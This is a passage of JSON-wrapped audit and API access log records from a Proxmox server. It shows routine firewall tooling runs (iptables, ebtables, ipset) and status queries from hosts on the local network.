exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.925:68686): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446440,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964545540,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.540:61483): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966155918,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.918:68685): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964886011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.011:63080): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.356:66163): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeb4aa1040 a1=5fd6abeae200 a2=5fd6abe8c680 a3=5 items=1 ppid=63547 pid=63548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964108623,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781964145802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.802:59787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.918:68685): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446440,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964545535,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.535:61482): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966155910,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.910:68684): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964886011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.011:63079): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565256,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.256:66145): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe3acad640 a1=58e77aadc310 a2=58e77aad5680 a3=5 items=1 ppid=63528 pid=63529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964107630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 461"} {"@timestamp":1781964145796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.796:59786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.910:68684): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965444725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964545530,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.530:61481): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966155902,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.902:68683): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964886001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.001:63075): arch=c000003e syscall=59 success=no exit=-2 a0=7fff2bbfc5f0 a1=5e5cc8c9e200 a2=5e5cc8c7c680 a3=5 items=1 ppid=60523 pid=60524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965563.475:66135): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964104605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964145789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.789:59785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.902:68683): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965444725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964545525,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.525:61480): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966155896,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.896:68681): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964885924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.924:63057): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8cbc0640 a1=56913586b310 a2=569135864680 a3=5 items=1 ppid=60504 pid=60505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563475,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965563.475:66134): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964103605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964145782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.782:59784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.898:68682): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64e26d32b740 items=0 ppid=1156 pid=65953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965444725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964545520,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.520:61479): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966155889,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.889:68680): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964880999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964880.999:63043): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965563.465:66132): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964102648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781964145779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.779:59783): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b8c3f201740 items=0 ppid=1156 pid=57411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966155896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.896:68681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1386f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965443718,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964545515,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.515:61478): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966155884,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.884:68679): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964880999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964880.999:63042): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965563465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965563.465:66131): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964100563,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964145776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.776:59782): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e4170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.889:68680): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130710 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965442709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964545509,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.509:61477): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155877,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.877:68678): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964880981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964880.981:63040): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965558.456:66129): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964099552,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 458"} {"@timestamp":1781964145770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.770:59781): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1348d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.884:68679): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65951 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965442709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 896"} {"@timestamp":1781964545503,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.503:61476): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155871,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.871:68677): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964880981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964880.981:63039): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965558.455:66128): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964145764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.764:59780): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.877:68678): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e4290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65950 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965442709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964545499,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.499:61475): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966155867,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.867:68676): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964875975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.975:63030): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965558.439:66126): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964145759,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.759:59779): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57408 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.871:68677): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965440278,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964545496,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.496:61474): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966155859,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.859:68675): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964875975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.975:63029): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965558439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965558.439:66125): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964095676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964145753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.753:59778): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.867:68676): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bf070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965440278,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964545494,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.494:61473): argc=1 a0=\"date\""} {"@timestamp":1781966155852,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.852:68674): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964875963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.963:63027): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.184:66121): arch=c000003e syscall=59 success=no exit=-2 a0=7fffda08fa80 a1=58c47254f1c0 a2=58c47252d680 a3=5 items=1 ppid=63504 pid=63505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964092607,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781964145748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.748:59777): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae1310 